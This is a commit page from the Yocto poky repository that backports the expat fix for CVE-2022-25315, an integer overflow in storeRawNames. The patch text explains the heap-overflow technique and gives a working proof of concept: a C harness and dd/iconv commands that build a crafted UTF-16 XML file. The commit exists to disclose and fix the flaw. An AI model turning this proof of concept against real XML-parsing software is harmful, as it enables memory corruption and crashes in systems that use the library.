diff options
author | Steve Sakoman <steve@sakoman.com> | 2022-02-28 05:59:40 -1000 |
---|---|---|
committer | Richard Purdie <richard.purdie@linuxfoundation.org> | 2022-03-09 17:30:48 +0000 |
commit | 81a3da3b9908523d52d963fa60c531e84e8f30a8 (patch) | |
tree | 1125dec112ca606d2398cf69646227fee6a57103 /meta/recipes-core/expat | |
parent | 32db22beecc4cc06f6384b9234e428d8d173108e (diff) | |
download | poky-81a3da3b9908523d52d963fa60c531e84e8f30a8.tar.gz |
expat: fix CVE-2022-25315
In Expat (aka libexpat) before 2.4.5, there is an integer overflow
in storeRawNames.
Backport patch from:
https://github.com/libexpat/libexpat/pull/559/commits/eb0362808b4f9f1e2345a0cf203b8cc196d776d9
CVE: CVE-2022-25315
(From OE-Core rev: 9cb21fd89de99abeeef1dd962e6019943de546a4)
Signed-off-by: Steve Sakoman <steve@sakoman.com>
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Diffstat (limited to 'meta/recipes-core/expat')
-rw-r--r-- | meta/recipes-core/expat/expat/CVE-2022-25315.patch | 145 | ||||
-rw-r--r-- | meta/recipes-core/expat/expat_2.2.9.bb | 1 |
2 files changed, 146 insertions, 0 deletions
diff --git a/meta/recipes-core/expat/expat/CVE-2022-25315.patch b/meta/recipes-core/expat/expat/CVE-2022-25315.patch new file mode 100644 index 0000000000..a39771d28a --- /dev/null +++ b/meta/recipes-core/expat/expat/CVE-2022-25315.patch | |||
@@ -0,0 +1,145 @@ | |||
1 | From eb0362808b4f9f1e2345a0cf203b8cc196d776d9 Mon Sep 17 00:00:00 2001 | ||
2 | From: Samanta Navarro <ferivoz@riseup.net> | ||
3 | Date: Tue, 15 Feb 2022 11:55:46 +0000 | ||
4 | Subject: [PATCH] Prevent integer overflow in storeRawNames | ||
5 | |||
6 | It is possible to use an integer overflow in storeRawNames for out of | ||
7 | boundary heap writes. Default configuration is affected. If compiled | ||
8 | with XML_UNICODE then the attack does not work. Compiling with | ||
9 | -fsanitize=address confirms the following proof of concept. | ||
10 | |||
11 | The problem can be exploited by abusing the m_buffer expansion logic. | ||
12 | Even though the initial size of m_buffer is a power of two, eventually | ||
13 | it can end up a little bit lower, thus allowing allocations very close | ||
14 | to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag | ||
15 | names can be parsed which are almost INT_MAX in size. | ||
16 | |||
17 | Unfortunately (from an attacker point of view) INT_MAX/2 is also a | ||
18 | limitation in string pools. Having a tag name of INT_MAX/2 characters | ||
19 | or more is not possible. | ||
20 | |||
21 | Expat can convert between different encodings. UTF-16 documents which | ||
22 | contain only ASCII representable characters are twice as large as their | ||
23 | ASCII encoded counter-parts. | ||
24 | |||
25 | The proof of concept works by taking these three considerations into | ||
26 | account: | ||
27 | |||
28 | 1. Move the m_buffer size slightly below a power of two by having a | ||
29 | short root node <a>. This allows the m_buffer to grow very close | ||
30 | to INT_MAX. | ||
31 | 2. The string pooling forbids tag names longer than or equal to | ||
32 | INT_MAX/2, so keep the attack tag name smaller than that. | ||
33 | 3. To be able to still overflow INT_MAX even though the name is | ||
34 | limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag | ||
35 | which only contains ASCII characters. UTF-16 always stores two | ||
36 | bytes per character while the tag name is converted to using only | ||
37 | one. Our attack node byte count must be a bit higher than | ||
38 | 2/3 INT_MAX so the converted tag name is around INT_MAX/3 which | ||
39 | in sum can overflow INT_MAX. | ||
40 | |||
41 | Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes | ||
42 | without running into INT_MAX boundary check. The string pooling is | ||
43 | able to store INT_MAX/3 as tag name because the amount is below | ||
44 | INT_MAX/2 limitation. And creating the sum of both eventually overflows | ||
45 | in storeRawNames. | ||
46 | |||
47 | Proof of Concept: | ||
48 | |||
49 | 1. Compile expat with -fsanitize=address. | ||
50 | |||
51 | 2. Create Proof of Concept binary which iterates through input | ||
52 | file 16 MB at once for better performance and easier integer | ||
53 | calculations: | ||
54 | |||
55 | ``` | ||
56 | cat > poc.c << EOF | ||
57 | #include <err.h> | ||
58 | #include <expat.h> | ||
59 | #include <stdlib.h> | ||
60 | #include <stdio.h> | ||
61 | |||
62 | #define CHUNK (16 * 1024 * 1024) | ||
63 | int main(int argc, char *argv[]) { | ||
64 | XML_Parser parser; | ||
65 | FILE *fp; | ||
66 | char *buf; | ||
67 | int i; | ||
68 | |||
69 | if (argc != 2) | ||
70 | errx(1, "usage: poc file.xml"); | ||
71 | if ((parser = XML_ParserCreate(NULL)) == NULL) | ||
72 | errx(1, "failed to create expat parser"); | ||
73 | if ((fp = fopen(argv[1], "r")) == NULL) { | ||
74 | XML_ParserFree(parser); | ||
75 | err(1, "failed to open file"); | ||
76 | } | ||
77 | if ((buf = malloc(CHUNK)) == NULL) { | ||
78 | fclose(fp); | ||
79 | XML_ParserFree(parser); | ||
80 | err(1, "failed to allocate buffer"); | ||
81 | } | ||
82 | i = 0; | ||
83 | while (fread(buf, CHUNK, 1, fp) == 1) { | ||
84 | printf("iteration %d: XML_Parse returns %d\n", ++i, | ||
85 | XML_Parse(parser, buf, CHUNK, XML_FALSE)); | ||
86 | } | ||
87 | free(buf); | ||
88 | fclose(fp); | ||
89 | XML_ParserFree(parser); | ||
90 | return 0; | ||
91 | } | ||
92 | EOF | ||
93 | gcc -fsanitize=address -lexpat -o poc poc.c | ||
94 | ``` | ||
95 | |||
96 | 3. Construct specially prepared UTF-16 XML file: | ||
97 | |||
98 | ``` | ||
99 | dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml | ||
100 | echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml | ||
101 | echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368 | ||
102 | iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml | ||
103 | ``` | ||
104 | |||
105 | 4. Run proof of concept: | ||
106 | |||
107 | ``` | ||
108 | ./poc poc-utf16.xml | ||
109 | ``` | ||
110 | |||
111 | Upstream-Status: Backport | ||
112 | https://github.com/libexpat/libexpat/pull/559/commits/eb0362808b4f9f1e2345a0cf203b8cc196d776d9 | ||
113 | |||
114 | CVE: CVE-2022-25315 | ||
115 | |||
116 | Signed-off-by: Steve Sakoman <steve@sakoman.com> | ||
117 | --- | ||
118 | lib/xmlparse.c | 7 ++++++- | ||
119 | 1 file changed, 6 insertions(+), 1 deletion(-) | ||
120 | |||
121 | diff --git a/lib/xmlparse.c b/lib/xmlparse.c | ||
122 | index 4b43e613..f34d6ab5 100644 | ||
123 | --- a/lib/xmlparse.c | ||
124 | +++ b/lib/xmlparse.c | ||
125 | @@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) { | ||
126 | while (tag) { | ||
127 | int bufSize; | ||
128 | int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1); | ||
129 | + size_t rawNameLen; | ||
130 | char *rawNameBuf = tag->buf + nameLen; | ||
131 | /* Stop if already stored. Since m_tagStack is a stack, we can stop | ||
132 | at the first entry that has already been copied; everything | ||
133 | @@ -2574,7 +2575,11 @@ storeRawNames(XML_Parser parser) { | ||
134 | /* For re-use purposes we need to ensure that the | ||
135 | size of tag->buf is a multiple of sizeof(XML_Char). | ||
136 | */ | ||
137 | - bufSize = nameLen + ROUND_UP(tag->rawNameLength, sizeof(XML_Char)); | ||
138 | + rawNameLen = ROUND_UP(tag->rawNameLength, sizeof(XML_Char)); | ||
139 | + /* Detect and prevent integer overflow. */ | ||
140 | + if (rawNameLen > (size_t)INT_MAX - nameLen) | ||
141 | + return XML_FALSE; | ||
142 | + bufSize = nameLen + (int)rawNameLen; | ||
143 | if (bufSize > tag->bufEnd - tag->buf) { | ||
144 | char *temp = (char *)REALLOC(parser, tag->buf, bufSize); | ||
145 | if (temp == NULL) | ||
diff --git a/meta/recipes-core/expat/expat_2.2.9.bb b/meta/recipes-core/expat/expat_2.2.9.bb index dd8eeddf80..f50e535922 100644 --- a/meta/recipes-core/expat/expat_2.2.9.bb +++ b/meta/recipes-core/expat/expat_2.2.9.bb | |||
@@ -18,6 +18,7 @@ SRC_URI = "git://github.com/libexpat/libexpat.git;protocol=https;branch=master \ | |||
18 | file://CVE-2022-25313.patch \ | 18 | file://CVE-2022-25313.patch \ |
19 | file://CVE-2022-25313-regression.patch \ | 19 | file://CVE-2022-25313-regression.patch \ |
20 | file://CVE-2022-25314.patch \ | 20 | file://CVE-2022-25314.patch \ |
21 | file://CVE-2022-25315.patch \ | ||
21 | file://libtool-tag.patch \ | 22 | file://libtool-tag.patch \ |
22 | " | 23 | " |
23 | 24 | ||